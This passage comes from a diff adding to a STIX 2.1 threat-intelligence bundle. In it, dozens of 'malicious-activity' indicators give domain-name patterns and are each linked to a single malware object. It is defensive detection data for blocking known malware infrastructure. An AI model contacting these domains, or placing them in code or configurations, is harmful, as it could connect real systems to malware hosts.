"indicator--ef96d7c7-fc15-420b-ac27-00d4cd04c7f8", + "target_ref": "malware--7ea102c5-2b7e-4088-b102-46691b1b84e5" + }, + { + "type": "indicator", + "spec_version": "2.1", + "id": "indicator--ec81ab9b-cfd5-4eb7-b05e-6191e8c3d03b", + "created": "2023-03-29T12:58:44.960159Z", + "modified": "2023-03-29T12:58:44.960159Z", + "indicator_types": [ + "malicious-activity" + ], + "pattern": "[domain-name:value='aerosolchoosing.link']", + "pattern_type": "stix", + "pattern_version": "2.1", + "valid_from": "2023-03-29T12:58:44.960159Z" + }, + { + "type": "relationship", + "spec_version": "2.1", + "id": "relationship--82ead256-86e9-41f9-a7c9-aeaefb78a695", + "created": "2023-03-29T12:58:44.960755Z", + "modified": "2023-03-29T12:58:44.960755Z", + "relationship_type": "indicates", + "source_ref": "indicator--ec81ab9b-cfd5-4eb7-b05e-6191e8c3d03b", + "target_ref": "malware--7ea102c5-2b7e-4088-b102-46691b1b84e5" + }, + { + "type": "indicator", + "spec_version": "2.1", + "id": "indicator--8fc50136-47cd-4476-9e65-5fec7e6c3878", + "created": "2023-03-29T12:58:44.960923Z", + "modified": "2023-03-29T12:58:44.960923Z", + "indicator_types": [ + "malicious-activity" + ], + "pattern": "[domain-name:value='mowingsnugness.com']", + "pattern_type": "stix", + "pattern_version": "2.1", + "valid_from": "2023-03-29T12:58:44.960923Z" + }, + { + "type": "relationship", + "spec_version": "2.1", + "id": "relationship--7db2e368-c95d-4d13-913f-1ca0b58d10da", + "created": "2023-03-29T12:58:44.961515Z", + "modified": "2023-03-29T12:58:44.961515Z", + "relationship_type": "indicates", + "source_ref": "indicator--8fc50136-47cd-4476-9e65-5fec7e6c3878", + "target_ref": "malware--7ea102c5-2b7e-4088-b102-46691b1b84e5" + }, + { + "type": "indicator", + "spec_version": "2.1", + "id": "indicator--3bfaa2d2-b29d-4240-94e4-73e52886c346", + "created": "2023-03-29T12:58:44.961687Z", + "modified": "2023-03-29T12:58:44.961687Z", + "indicator_types": [ + "malicious-activity" + ], + "pattern": "[domain-name:value='justifierexpire.link']", + "pattern_type": "stix", + "pattern_version": "2.1", + "valid_from": "2023-03-29T12:58:44.961687Z" + }, + { + "type": "relationship", + "spec_version": "2.1", + "id": "relationship--0b5db8c8-b827-4118-a80c-74ddd48bf137", + "created": "2023-03-29T12:58:44.962284Z", + "modified": "2023-03-29T12:58:44.962284Z", + "relationship_type": "indicates", + "source_ref": "indicator--3bfaa2d2-b29d-4240-94e4-73e52886c346", + "target_ref": "malware--7ea102c5-2b7e-4088-b102-46691b1b84e5" + }, + { + "type": "indicator", + "spec_version": "2.1", + "id": "indicator--c245cec4-b1ea-44ca-a908-d539d47f12f0", + "created": "2023-03-29T12:58:44.962453Z", + "modified": "2023-03-29T12:58:44.962453Z", + "indicator_types": [ + "malicious-activity" + ], + "pattern": "[domain-name:value='recitequail.com']", + "pattern_type": "stix", + "pattern_version": "2.1", + "valid_from": "2023-03-29T12:58:44.962453Z" + }, + { + "type": "relationship", + "spec_version": "2.1", + "id": "relationship--dbd0c500-cf1b-4870-bdbe-aeb935c30d3d", + "created": "2023-03-29T12:58:44.963038Z", + "modified": "2023-03-29T12:58:44.963038Z", + "relationship_type": "indicates", + "source_ref": "indicator--c245cec4-b1ea-44ca-a908-d539d47f12f0", + "target_ref": "malware--7ea102c5-2b7e-4088-b102-46691b1b84e5" + }, + { + "type": "indicator", + "spec_version": "2.1", + "id": "indicator--a027f33d-2e61-4725-b8ed-6457944d3d7c", + "created": "2023-03-29T12:58:44.963209Z", + "modified": "2023-03-29T12:58:44.963209Z", + "indicator_types": [ + "malicious-activity" + ], + "pattern": "[domain-name:value='slingingjaybird.link']", + "pattern_type": "stix", + "pattern_version": "2.1", + "valid_from": "2023-03-29T12:58:44.963209Z" + }, + { + "type": "relationship", + "spec_version": "2.1", + "id": "relationship--00f81c54-5df4-43c0-946b-b762eaff3e1e", + "created": "2023-03-29T12:58:44.963915Z", + "modified": "2023-03-29T12:58:44.963915Z", + "relationship_type": "indicates", + "source_ref": "indicator--a027f33d-2e61-4725-b8ed-6457944d3d7c", + "target_ref": "malware--7ea102c5-2b7e-4088-b102-46691b1b84e5" + }, + { + "type": "indicator", + "spec_version": "2.1", + "id": "indicator--2ec4c428-d5ec-4e02-bd3e-78410189acea", + "created": "2023-03-29T12:58:44.964089Z", + "modified": "2023-03-29T12:58:44.964089Z", + "indicator_types": [ + "malicious-activity" + ], + "pattern": "[domain-name:value='manhoodgravy.com']", + "pattern_type": "stix", + "pattern_version": "2.1", + "valid_from": "2023-03-29T12:58:44.964089Z" + }, + { + "type": "relationship", + "spec_version": "2.1", + "id": "relationship--0ab8ad93-b7c4-4a38-924a-d8a91ba93b00", + "created": "2023-03-29T12:58:44.964676Z", + "modified": "2023-03-29T12:58:44.964676Z", + "relationship_type": "indicates", + "source_ref": "indicator--2ec4c428-d5ec-4e02-bd3e-78410189acea", + "target_ref": "malware--7ea102c5-2b7e-4088-b102-46691b1b84e5" + }, + { + "type": "indicator", + "spec_version": "2.1", + "id": "indicator--cd2ff53d-7e2a-42aa-9b4c-4f81ec8a443e", + "created": "2023-03-29T12:58:44.964845Z", + "modified": "2023-03-29T12:58:44.964845Z", + "indicator_types": [ + "malicious-activity" + ], + "pattern": "[domain-name:value='rangingpetroleum.com']", + "pattern_type": "stix", + "pattern_version": "2.1", + "valid_from": "2023-03-29T12:58:44.964845Z" + }, + { + "type": "relationship", + "spec_version": "2.1", + "id": "relationship--ba568152-782c-4118-ad0e-f23d2b80a017", + "created": "2023-03-29T12:58:44.96544Z", + "modified": "2023-03-29T12:58:44.96544Z", + "relationship_type": "indicates", + "source_ref": "indicator--cd2ff53d-7e2a-42aa-9b4c-4f81ec8a443e", + "target_ref": "malware--7ea102c5-2b7e-4088-b102-46691b1b84e5" + }, + { + "type": "indicator", + "spec_version": "2.1", + "id": "indicator--823caf59-0c56-49c0-aa70-e7242c309e75", + "created": "2023-03-29T12:58:44.965616Z", + "modified": "2023-03-29T12:58:44.965616Z", + "indicator_types": [ + "malicious-activity" + ], + "pattern": "[domain-name:value='talknotin.net']", + "pattern_type": "stix", + "pattern_version": "2.1", + "valid_from": "2023-03-29T12:58:44.965616Z" + }, + { + "type": "relationship", + "spec_version": "2.1", + "id": "relationship--893397f1-2be0-4fa8-bc74-1e345950edf9", + "created": "2023-03-29T12:58:44.966202Z", + "modified": "2023-03-29T12:58:44.966202Z", + "relationship_type": "indicates", + "source_ref": "indicator--823caf59-0c56-49c0-aa70-e7242c309e75", + "target_ref": "malware--7ea102c5-2b7e-4088-b102-46691b1b84e5" + }, + { + "type": "indicator", + "spec_version": "2.1", + "id": "indicator--defec0a9-514c-4707-a326-48d50764b1c8", + "created": "2023-03-29T12:58:44.96637Z", + "modified": "2023-03-29T12:58:44.96637Z", + "indicator_types": [ + "malicious-activity" + ], + "pattern": "[domain-name:value='wavyupright.net']", + "pattern_type": "stix", + "pattern_version": "2.1", + "valid_from": "2023-03-29T12:58:44.96637Z" + }, + { + "type": "relationship", + "spec_version": "2.1", + "id": "relationship--ffe3c726-0d17-44c4-a2dd-59cffc82da2b", + "created": "2023-03-29T12:58:44.966959Z", + "modified": "2023-03-29T12:58:44.966959Z", + "relationship_type": "indicates", + "source_ref": "indicator--defec0a9-514c-4707-a326-48d50764b1c8", + "target_ref": "malware--7ea102c5-2b7e-4088-b102-46691b1b84e5" + }, + { + "type": "indicator", + "spec_version": "2.1", + "id": "indicator--11e85a3f-e242-4d02-bdef-67ffc64630e5", + "created": "2023-03-29T12:58:44.967127Z", + "modified": "2023-03-29T12:58:44.967127Z", + "indicator_types": [ + "malicious-activity" + ], + "pattern": "[domain-name:value='glasspesky.net']", + "pattern_type": "stix", + "pattern_version": "2.1", + "valid_from": "2023-03-29T12:58:44.967127Z" + }, + { + "type": "relationship", + "spec_version": "2.1", + "id": "relationship--fc0c285b-7790-4f7b-9f9b-42e66702fcfd", + "created": "2023-03-29T12:58:44.967718Z", + "modified": "2023-03-29T12:58:44.967718Z", + "relationship_type": "indicates", + "source_ref": "indicator--11e85a3f-e242-4d02-bdef-67ffc64630e5", + "target_ref": "malware--7ea102c5-2b7e-4088-b102-46691b1b84e5" + }, + { + "type": "indicator", + "spec_version": "2.1", + "id": "indicator--8591e4b7-6784-42ca-9e2e-64c074a73137", + "created": "2023-03-29T12:58:44.967888Z", + "modified": "2023-03-29T12:58:44.967888Z", + "indicator_types": [ + "malicious-activity" + ], + "pattern": "[domain-name:value='railwaytransfer.net']", + "pattern_type": "stix", + "pattern_version": "2.1", + "valid_from": "2023-03-29T12:58:44.967888Z" + }, + { + "type": "relationship", + "spec_version": "2.1", + "id": "relationship--7726fd0b-c011-48a4-8f11-5c00b6f6f9da", + "created": "2023-03-29T12:58:44.96848Z", + "modified": "2023-03-29T12:58:44.96848Z", + "relationship_type": "indicates", + "source_ref": "indicator--8591e4b7-6784-42ca-9e2e-64c074a73137", + "target_ref": "malware--7ea102c5-2b7e-4088-b102-46691b1b84e5" + }, + { + "type": "indicator", + "spec_version": "2.1", + "id": "indicator--1cd6a9ef-2da1-4e76-8f8b-1c184f302e74", + "created": "2023-03-29T12:58:44.968648Z", + "modified": "2023-03-29T12:58:44.968648Z", + "indicator_types": [ + "malicious-activity" + ], + "pattern": "[domain-name:value='sulfurbucket.com']", + "pattern_type": "stix", + "pattern_version": "2.1", + "valid_from": "2023-03-29T12:58:44.968648Z" + }, + { + "type": "relationship", + "spec_version": "2.1", + "id": "relationship--da377911-56e2-4a92-ba51-c9efa9343221", + "created": "2023-03-29T12:58:44.969233Z", + "modified": "2023-03-29T12:58:44.969233Z", + "relationship_type": "indicates", + "source_ref": "indicator--1cd6a9ef-2da1-4e76-8f8b-1c184f302e74", + "target_ref": "malware--7ea102c5-2b7e-4088-b102-46691b1b84e5" + }, + { + "type": "indicator", + "spec_version": "2.1", + "id": "indicator--fb23c7ab-301a-45f4-a428-dee74b9442c1", + "created": "2023-03-29T12:58:44.969401Z", + "modified": "2023-03-29T12:58:44.969401Z", + "indicator_types": [ + "malicious-activity" + ], + "pattern": "[domain-name:value='gloaterchallenge.com']", + "pattern_type": "stix", + "pattern_version": "2.1", + "valid_from": "2023-03-29T12:58:44.969401Z" + }, + { + "type": "relationship", + "spec_version": "2.1", + "id": "relationship--779327ef-0eef-46ec-a45f-95b97b98fceb", + "created": "2023-03-29T12:58:44.970005Z", + "modified": "2023-03-29T12:58:44.970005Z", + "relationship_type": "indicates", + "source_ref": "indicator--fb23c7ab-301a-45f4-a428-dee74b9442c1", + "target_ref": "malware--7ea102c5-2b7e-4088-b102-46691b1b84e5" + }, + { + "type": "indicator", + "spec_version": "2.1", + "id": "indicator--328dc5dd-c72d-4279-9a7e-7f5b8f501a3b", + "created": "2023-03-29T12:58:44.970174Z", + "modified": "2023-03-29T12:58:44.970174Z", + "indicator_types": [ + "malicious-activity" + ], + "pattern": "[domain-name:value='randompixies.net']", + "pattern_type": "stix", + "pattern_version": "2.1", + "valid_from": "2023-03-29T12:58:44.970174Z" + }, + { + "type": "relationship", + "spec_version": "2.1", + "id": "relationship--e2cd57c4-b13a-4f2d-9b28-2493e8c1786c", + "created": "2023-03-29T12:58:44.971129Z", + "modified": "2023-03-29T12:58:44.971129Z", + "relationship_type": "indicates", + "source_ref": "indicator--328dc5dd-c72d-4279-9a7e-7f5b8f501a3b", + "target_ref": "malware--7ea102c5-2b7e-4088-b102-46691b1b84e5" + }, + { + "type": "indicator", + "spec_version": "2.1", + "id": "indicator--b13286f4-c92e-4ecb-801b-958c27c5da73", + "created": "2023-03-29T12:58:44.971303Z", + "modified": "2023-03-29T12:58:44.971303Z", + "indicator_types": [ + "malicious-activity" + ], + "pattern": "[domain-name:value='headfirstgrimacing.com']", + "pattern_type": "stix", + "pattern_version": "2.1", + "valid_from": "2023-03-29T12:58:44.971303Z" + }, + { + "type": "relationship", + "spec_version": "2.1", + "id": "relationship--3f946070-cc21-4770-af29-3efadf599e1e", + "created": "2023-03-29T12:58:44.971904Z", + "modified": "2023-03-29T12:58:44.971904Z", + "relationship_type": "indicates", + "source_ref": "indicator--b13286f4-c92e-4ecb-801b-958c27c5da73", + "target_ref": "malware--7ea102c5-2b7e-4088-b102-46691b1b84e5" + }, + { + "type": "indicator", + "spec_version": "2.1", + "id": "indicator--e51e469b-bebf-4688-8d14-0c8476eeafd4", + "created": "2023-03-29T12:58:44.972075Z", + "modified": "2023-03-29T12:58:44.972075Z", + "indicator_types": [ + "malicious-activity" + ], + "pattern": "[domain-name:value='firstcarton.com']", + "pattern_type": "stix", + "pattern_version": "2.1", + "valid_from": "2023-03-29T12:58:44.972075Z" + }, + { + "type": "relationship", + "spec_version": "2.1", + "id": "relationship--f094ebee-9dc3-4c92-bf46-43ee65d0ce50", + "created": "2023-03-29T12:58:44.972668Z", + "modified": "2023-03-29T12:58:44.972668Z", + "relationship_type": "indicates", + "source_ref": "indicator--e51e469b-bebf-4688-8d14-0c8476eeafd4", + "target_ref": "malware--7ea102c5-2b7e-4088-b102-46691b1b84e5" + }, + { + "type": "indicator", + "spec_version": "2.1", + "id": "indicator--ecc2dc58-d342-4af4-ba85-b7184a01fa44", + "created": "2023-03-29T12:58:44.97284Z", + "modified": "2023-03-29T12:58:44.97284Z", + "indicator_types": [ + "malicious-activity" + ], + "pattern": "[domain-name:value='uniformedonline.net']", + "pattern_type": "stix", + "pattern_version": "2.1", + "valid_from": "2023-03-29T12:58:44.97284Z" + }, + { + "type": "relationship", + "spec_version": "2.1", + "id": "relationship--824a39ca-da0c-4e0e-8383-3ddad5ebf741", + "created": "2023-03-29T12:58:44.973435Z", + "modified": "2023-03-29T12:58:44.973435Z", + "relationship_type": "indicates", + "source_ref": "indicator--ecc2dc58-d342-4af4-ba85-b7184a01fa44", + "target_ref": "malware--7ea102c5-2b7e-4088-b102-46691b1b84e5" + }, + { + "type": "indicator", + "spec_version": "2.1", + "id": "indicator--e4a6f048-d661-4bc1-a20a-3d3597d890eb", + "created": "2023-03-29T12:58:44.973608Z", + "modified": "2023-03-29T12:58:44.973608Z", + "indicator_types": [ + "malicious-activity" + ], + "pattern": "[domain-name:value='legroomcoherence.com']", + "pattern_type": "stix", + "pattern_version": "2.1", + "valid_from": "2023-03-29T12:58:44.973608Z" + }, + { + "type": "relationship", + "spec_version": "2.1", + "id": "relationship--bd94d257-d35d-47b1-a4f6-8b9f43a1ac24", + "created": "2023-03-29T12:58:44.974201Z", + "modified": "2023-03-29T12:58:44.974201Z", + "relationship_type": "indicates", + "source_ref": "indicator--e4a6f048-d661-4bc1-a20a-3d3597d890eb", + "target_ref": "malware--7ea102c5-2b7e-4088-b102-46691b1b84e5" + }, + { + "type": "indicator", + "spec_version": "2.1", + "id": "indicator--e162d4f0-1abf-425d-aaa5-fc1f1b5c500a", + "created": "2023-03-29T12:58:44.974369Z", + "modified": "2023-03-29T12:58:44.974369Z", + "indicator_types": [ + "malicious-activity" + ], + "pattern": "[domain-name:value='trimmerenvoy.net']", + "pattern_type": "stix", + "pattern_version": "2.1", + "valid_from": "2023-03-29T12:58:44.974369Z" + }, + { + "type": "relationship", + "spec_version": "2.1", + "id": "relationship--e65964fd-e523-4974-8d98-5158b8bd06b0", + "created": "2023-03-29T12:58:44.974956Z", + "modified": "2023-03-29T12:58:44.974956Z", + "relationship_type": "indicates", + "source_ref": "indicator--e162d4f0-1abf-425d-aaa5-fc1f1b5c500a", + "target_ref": "malware--7ea102c5-2b7e-4088-b102-46691b1b84e5" + }, + { + "type": "indicator", + "spec_version": "2.1", + "id": "indicator--8ce8b340-c9e3-4795-9898-a6791c7b23a1", + "created": "2023-03-29T12:58:44.975123Z", + "modified": "2023-03-29T12:58:44.975123Z", + "indicator_types": [ + "malicious-activity" + ], + "pattern": "[domain-name:value='sandwormmandatory.link']", + "pattern_type": "stix", + "pattern_version": "2.1", + "valid_from": "2023-03-29T12:58:44.975123Z" + }, + { + "type": "relationship", + "spec_version": "2.1", + "id": "relationship--df1d7663-22e3-4bf5-a644-09ce3cf32ce9", + "created": "2023-03-29T12:58:44.975718Z", + "modified": "2023-03-29T12:58:44.975718Z", + "relationship_type": "indicates", + "source_ref": "indicator--8ce8b340-c9e3-4795-9898-a6791c7b23a1", + "target_ref": "malware--7ea102c5-2b7e-4088-b102-46691b1b84e5" + }, + { + "type": "indicator", + "spec_version": "2.1", + "id": "indicator--c02a91e8-7f94-41a8-80e7-e2401e8d0b31", + "created": "2023-03-29T12:58:44.975886Z", + "modified": "2023-03-29T12:58:44.975886Z", + "indicator_types": [ + "malicious-activity" + ], + "pattern": "[domain-name:value='serotoninuneaten.net']", + "pattern_type": "stix", + "pattern_version": "2.1", + "valid_from": "2023-03-29T12:58:44.975886Z" + }, + { + "type": "relationship", + "spec_version": "2.1", + "id": "relationship--071492ec-4d74-4bb6-8ea3-1757ff125639", + "created": "2023-03-29T12:58:44.976477Z", + "modified": "2023-03-29T12:58:44.976477Z", + "relationship_type": "indicates", + "source_ref": "indicator--c02a91e8-7f94-41a8-80e7-e2401e8d0b31", + "target_ref": "malware--7ea102c5-2b7e-4088-b102-46691b1b84e5" + }, + { + "type": "indicator", + "spec_version": "2.1", + "id": "indicator--0a60fedb-51c8-40ac-b912-403546da59b3", + "created": "2023-03-29T12:58:44.976646Z", + "modified": "2023-03-29T12:58:44.976646Z", + "indicator_types": [ + "malicious-activity" + ], + "pattern": "[domain-name:value='scoldingsprawl.net']", + "pattern_type": "stix", + "pattern_version": "2.1", + "valid_from": "2023-03-29T12:58:44.976646Z" + }, + { + "type": "relationship", + "spec_version": "2.1", + "id": "relationship--fc9e37d1-46ef-4213-97a7-4ea1207a7e54", + "created": "2023-03-29T12:58:44.97724Z", + "modified": "2023-03-29T12:58:44.97724Z", + "relationship_type": "indicates", + "source_ref": "indicator--0a60fedb-51c8-40ac-b912-403546da59b3", + "target_ref": "malware--7ea102c5-2b7e-4088-b102-46691b1b84e5" + }, + { + "type": "indicator", + "spec_version": "2.1", + "id": "indicator--6a10e8ad-a171-45f4-9716-0f7f44a660d5", + "created": "2023-03-29T12:58:44.977409Z", + "modified": "2023-03-29T12:58:44.977409Z", + "indicator_types": [ + "malicious-activity" + ], + "pattern": "[domain-name:value='hummingendearing.net']", + "pattern_type": "stix", + "pattern_version": "2.1", + "valid_from": "2023-03-29T12:58:44.977409Z" + }, + { + "type": "relationship", + "spec_version": "2.1", + "id": "relationship--dbadfeb5-f512-4fae-89eb-9be5ed6fb476", + "created": "2023-03-29T12:58:44.978012Z", + "modified": "2023-03-29T12:58:44.978012Z", + "relationship_type": "indicates", + "source_ref": "indicator--6a10e8ad-a171-45f4-9716-0f7f44a660d5", + "target_ref": "malware--7ea102c5-2b7e-4088-b102-46691b1b84e5" + }, + { + "type": "indicator", + "spec_version": "2.1", + "id": "indicator--e47e28f5-2af2-4062-b2b0-3f2cc52cf566", + "created": "2023-03-29T12:58:44.978188Z", + "modified": "2023-03-29T12:58:44.978188Z", + "indicator_types": [ + "malicious-activity" + ], + "pattern": "[domain-name:value='theologystarlight.com']", + "pattern_type": "stix", + "pattern_version": "2.1", + "valid_from": "2023-03-29T12:58:44.978188Z" + }, + { + "type": "relationship", + "spec_version": "2.1", + "id": "relationship--65fb58ff-6c45-45e4-b472-6fd6f80b0497", + "created": "2023-03-29T12:58:44.978898Z", + "modified": "2023-03-29T12:58:44.978898Z", + "relationship_type": "indicates", + "source_ref": "indicator--e47e28f5-2af2-4062-b2b0-3f2cc52cf566", + "target_ref": "malware--7ea102c5-2b7e-4088-b102-46691b1b84e5" + }, + { + "type": "indicator", + "spec_version": "2.1", + "id": "indicator--3321cb2e-d99c-482e-a6de-f830a2976dd4", + "created": "2023-03-29T12:58:44.979069Z", + "modified": "2023-03-29T12:58:44.979069Z", + "indicator_types": [ + "malicious-activity" + ], + "pattern": "[domain-name:value='untrackedtrifocals.com']", + "pattern_type": "stix", + "pattern_version": "2.1", + "valid_from": "2023-03-29T12:58:44.979069Z" + }, + { + "type": "relationship", + "spec_version": "2.1", + "id": "relationship--c8c5c9f3-d04d-4e28-b884-1abc7c577122", + "created": "2023-03-29T12:58:44.979666Z", + "modified": "2023-03-29T12:58:44.979666Z", + "relationship_type": "indicates", + "source_ref": "indicator--3321cb2e-d99c-482e-a6de-f830a2976dd4", + "target_ref": "malware--7ea102c5-2b7e-4088-b102-46691b1b84e5" + }, + { + "type": "indicator", + "spec_version": "2.1", + "id": "indicator--5763aa77-2e30-46c9-b3ae-ed18731c79ff", + "created": "2023-03-29T12:58:44.979834Z", + "modified": "2023-03-29T12:58:44.979834Z", + "indicator_types": [ + "malicious-activity" + ], + "pattern": "[domain-name:value='shadowmirage.net']", + "pattern_type": "stix", + "pattern_version": "2.1", + "valid_from": "2023-03-29T12:58:44.979834Z" + }, + { + "type": "relationship", + "spec_version": "2.1", + "id": "relationship--c63fadc1-648a-469a-83dc-9d7febef1401", + "created": "2023-03-29T12:58:44.980423Z", + "modified": "2023-03-29T12:58:44.980423Z", + "relationship_type": "indicates", + "source_ref": "indicator--5763aa77-2e30-46c9-b3ae-ed18731c79ff", + "target_ref": "malware--7ea102c5-2b7e-4088-b102-46691b1b84e5" + }, + { + "type": "indicator", + "spec_version": "2.1", + "id": "indicator--5933c9bd-0b91-4517-840e-acadf4fd16dd", + "created": "2023-03-29T12:58:44.98059Z", + "modified": "2023-03-29T12:58:44.98059Z", + "indicator_types": [ + "malicious-activity" + ], + "pattern": "[domain-name:value='hedgeprojects.net']", + "pattern_type": "stix", + "pattern_version": "2.1", + "valid_from": "2023-03-29T12:58:44.98059Z" + }, + { + "type": "relationship", + "spec_version": "2.1", + "id": "relationship--5c664df6-eb85-4941-98c2-f3b0550c1c84", + "created": "2023-03-29T12:58:44.981181Z", + "modified": "2023-03-29T12:58:44.981181Z", + "relationship_type": "indicates", + "source_ref": "indicator--5933c9bd-0b91-4517-840e-acadf4fd16dd", + "target_ref": "malware--7ea102c5-2b7e-4088-b102-46691b1b84e5" + }, + { + "type": "indicator", + "spec_version": "2.1", + "id": "indicator--88208204-263d-4765-8741-e81678629a88", + "created": "2023-03-29T12:58:44.981383Z", + "modified": "2023-03-29T12:58:44.981383Z", + "indicator_types": [ + "malicious-activity" + ], + "pattern": "[domain-name:value='noseear.net']", + "pattern_type": "stix", + "pattern_version": "2.1", + "valid_from": "2023-03-29T12:58:44.981383Z" + }, + { + "type": "relationship", + "spec_version": "2.1", + "id": "relationship--02326bbc-86f6-4a13-8317-855124e71979", + "created": "2023-03-29T12:58:44.98197Z", + "modified": "2023-03-29T12:58:44.98197Z", + "relationship_type": "indicates", + "source_ref": "indicator--88208204-263d-4765-8741-e81678629a88", + "target_ref": "malware--7ea102c5-2b7e-4088-b102-46691b1b84e5" + }, + { + "type": "indicator", + "spec_version": "2.1", + "id": "indicator--c2d8c958-7beb-401d-a6e4-463e708ae09f", + "created": "2023-03-29T12:58:44.98214Z", + "modified": "2023-03-29T12:58:44.98214Z", + "indicator_types": [ + "malicious-activity" + ], + "pattern": "[domain-name:value='sharpiegrill.com']", + "pattern_type": "stix", + "pattern_version": "2.1", + "valid_from": "2023-03-29T12:58:44.98214Z" + }, + { + "type": "relationship", + "spec_version": "2.1", + "id": "relationship--75bbd035-0654-4e83-8aff-a420ab2f3b51", + "created": "2023-03-29T12:58:44.982727Z", + "modified": "2023-03-29T12:58:44.982727Z", + "relationship_type": "indicates", + "source_ref": "indicator--c2d8c958-7beb-401d-a6e4-463e708ae09f", + "target_ref": "malware--7ea102c5-2b7e-4088-b102-46691b1b84e5" + }, + { + "type": "indicator", + "spec_version": "2.1", + "id": "indicator--d8f238d6-2f64-4e7b-a635-289937518d56", + "created": "2023-03-29T12:58:44.982893Z", + "modified": "2023-03-29T12:58:44.982893Z", + "indicator_types": [ + "malicious-activity" + ], + "pattern": "[domain-name:value='sharperfootwear.link']", + "pattern_type": "stix", + "pattern_version": "2.1", + "valid_from": "2023-03-29T12:58:44.982893Z" + }, + { + "type": "relationship", + "spec_version": "2.1", + "id": "relationship--5e0c2336-f24d-4dbe-8865-bfcecfd6b199", + "created": "2023-03-29T12:58:44.983494Z", + "modified": "2023-03-29T12:58:44.983494Z", + "relationship_type": "indicates", + "source_ref": "indicator--d8f238d6-2f64-4e7b-a635-289937518d56", + "target_ref": "malware--7ea102c5-2b7e-4088-b102-46691b1b84e5" + }, + { + "type": "indicator", + "spec_version": "2.1", + "id": "indicator--d9c0e259-b301-466d-8932-8b1c799849df", + "created": "2023-03-29T12:58:44.983661Z", + "modified": "2023-03-29T12:58:44.983661Z", + "indicator_types": [ + "malicious-activity" + ], + "pattern": "[domain-name:value='hummingtables.net']", + "pattern_type": "stix", + "pattern_version": "2.1", + "valid_from": "2023-03-29T12:58:44.983661Z" + }, + { + "type": "relationship", + "spec_version": "2.1", + "id": "relationship--0c55e871-a1f4-4fb8-adf5-b1f20d27af5f", + "created": "2023-03-29T12:58:44.984251Z", + "modified": "2023-03-29T12:58:44.984251Z", + "relationship_type": "indicates", + "source_ref": "indicator--d9c0e259-b301-466d-8932-8b1c799849df", + "target_ref": "malware--7ea102c5-2b7e-4088-b102-46691b1b84e5" + }, + { + "type": "indicator", + "spec_version": "2.1", + "id": "indicator--e85aa90e-5adf-4401-a17f-464e3af23165", + "created": "2023-03-29T12:58:44.98442Z", + "modified": "2023-03-29T12:58:44.98442Z", + "indicator_types": [ + "malicious-activity" + ], + "pattern": "[domain-name:value='shakilytrickle.org']", + "pattern_type": "stix", + "pattern_version": "2.1", + "valid_from": "2023-03-29T12:58:44.98442Z" + }, + { + "type": "relationship", + "spec_version": "2.1", + "id": "relationship--8086582a-f7af-4ab7-99fd-9930401855c0", + "created": "2023-03-29T12:58:44.985012Z", + "modified": "2023-03-29T12:58:44.985012Z", + "relationship_type": "indicates", + "source_ref": "indicator--e85aa90e-5adf-4401-a17f-464e3af23165", + "target_ref": "malware--7ea102c5-2b7e-4088-b102-46691b1b84e5" + }, + { + "type": "indicator", + "spec_version": "2.1", + "id": "indicator--bedf24cc-3eac-448a-a113-89d7ffe5367e", + "created": "2023-03-29T12:58:44.98518Z", + "modified": "2023-03-29T12:58:44.98518Z", + "indicator_types": [ + "malicious-activity" + ], + "pattern": "[domain-name:value='custodypagan.net']", + "pattern_type": "stix", + "pattern_version": "2.1", + "valid_from": "2023-03-29T12:58:44.98518Z" + }, + { + "type": "relationship", + "spec_version": "2.1", + "id": "relationship--e39a4de7-0462-416e-a617-f131e4c6cf27", + "created": "2023-03-29T12:58:44.985889Z", + "modified": "2023-03-29T12:58:44.985889Z", + "relationship_type": "indicates", + "source_ref": "indicator--bedf24cc-3eac-448a-a113-89d7ffe5367e", + "target_ref": "malware--7ea102c5-2b7e-4088-b102-46691b1b84e5" + }, + { + "type": "indicator", + "spec_version": "2.1", + "id": "indicator--4e90ea32-48da-4dcc-b176-6996cef11eb6", + "created": "2023-03-29T12:58:44.986063Z", + "modified": "2023-03-29T12:58:44.986063Z", + "indicator_types": [ + "malicious-activity" + ], + "pattern": "[domain-name:value='flyingdoodle.net']", + "pattern_type": "stix", + "pattern_version": "2.1", + "valid_from": "2023-03-29T12:58:44.986063Z" + }, + { + "type": "relationship", + "spec_version": "2.1", + "id": "relationship--6a162e0a-2407-4ee3-a527-50841a169caa", + "created": "2023-03-29T12:58:44.986658Z", + "modified": "2023-03-29T12:58:44.986658Z", + "relationship_type": "indicates", + "source_ref": "indicator--4e90ea32-48da-4dcc-b176-6996cef11eb6", + "target_ref": "malware--7ea102c5-2b7e-4088-b102-46691b1b84e5" + }, + { + "type": "indicator", + "spec_version": "2.1", + "id": "indicator--59396dc0-3883-48e1-8d5d-71a6e1eb50e7", + "created": "2023-03-29T12:58:44.986828Z", + "modified": "2023-03-29T12:58:44.986828Z", + "indicator_types": [ + "malicious-activity" + ], + "pattern": "[domain-name:value='bacteriaoverall.com']", + "pattern_type": "stix", + "pattern_version": "2.1", + "valid_from": "2023-03-29T12:58:44.986828Z" + }, + { + "type": "relationship", + "spec_version": "2.1", + "id": "relationship--69c4067f-70a9-45a5-b7e7-17a8c68fedf5", + "created": "2023-03-29T12:58:44.987417Z", + "modified": "2023-03-29T12:58:44.987417Z", + "relationship_type": "indicates", + "source_ref": "indicator--59396dc0-3883-48e1-8d5d-71a6e1eb50e7", + "target_ref": "malware--7ea102c5-2b7e-4088-b102-46691b1b84e5" + }, + { + "type": "indicator", + "spec_version": "2.1", + "id": "indicator--317d9c58-0823-4d35-97f3-58e979258b80", + "created": "2023-03-29T12:58:44.987585Z", + "modified": "2023-03-29T12:58:44.987585Z", + "indicator_types": [ + "malicious-activity" + ], + "pattern": "[domain-name:value='activecurrent.net']", + "pattern_type": "stix", + "pattern_version": "2.1", + "valid_from": "2023-03-29T12:58:44.987585Z" + }, + { + "type": "relationship", + "spec_version": "2.1", + "id": "relationship--bd7a54fa-6483-41ba-b370-947ec8264cc4", + "created": "2023-03-29T12:58:44.988177Z", + "modified": "2023-03-29T12:58:44.988177Z", + "relationship_type": "indicates", + "source_ref": "indicator--317d9c58-0823-4d35-97f3-58e979258b80", + "target_ref": "malware--7ea102c5-2b7e-4088-b102-46691b1b84e5" + }, + { + "type": "indicator", + "spec_version": "2.1", + "id": "indicator--226b9ed2-dfbb-4d07-9d77-b4440609e5f8", + "created": "2023-03-29T12:58:44.988344Z", + "modified": "2023-03-29T12:58:44.988344Z", + "indicator_types": [ + "malicious-activity" + ], + "pattern": "[domain-name:value='spongytraps.org']", + "pattern_type": "stix", + "pattern_version": "2.1", + "valid_from": "2023-03-29T12:58:44.988344Z" + }, + { + "type": "relationship", + "spec_version": "2.1", + "id": "relationship--8175ff61-2678-4d86-915a-bce5cd0912b5", + 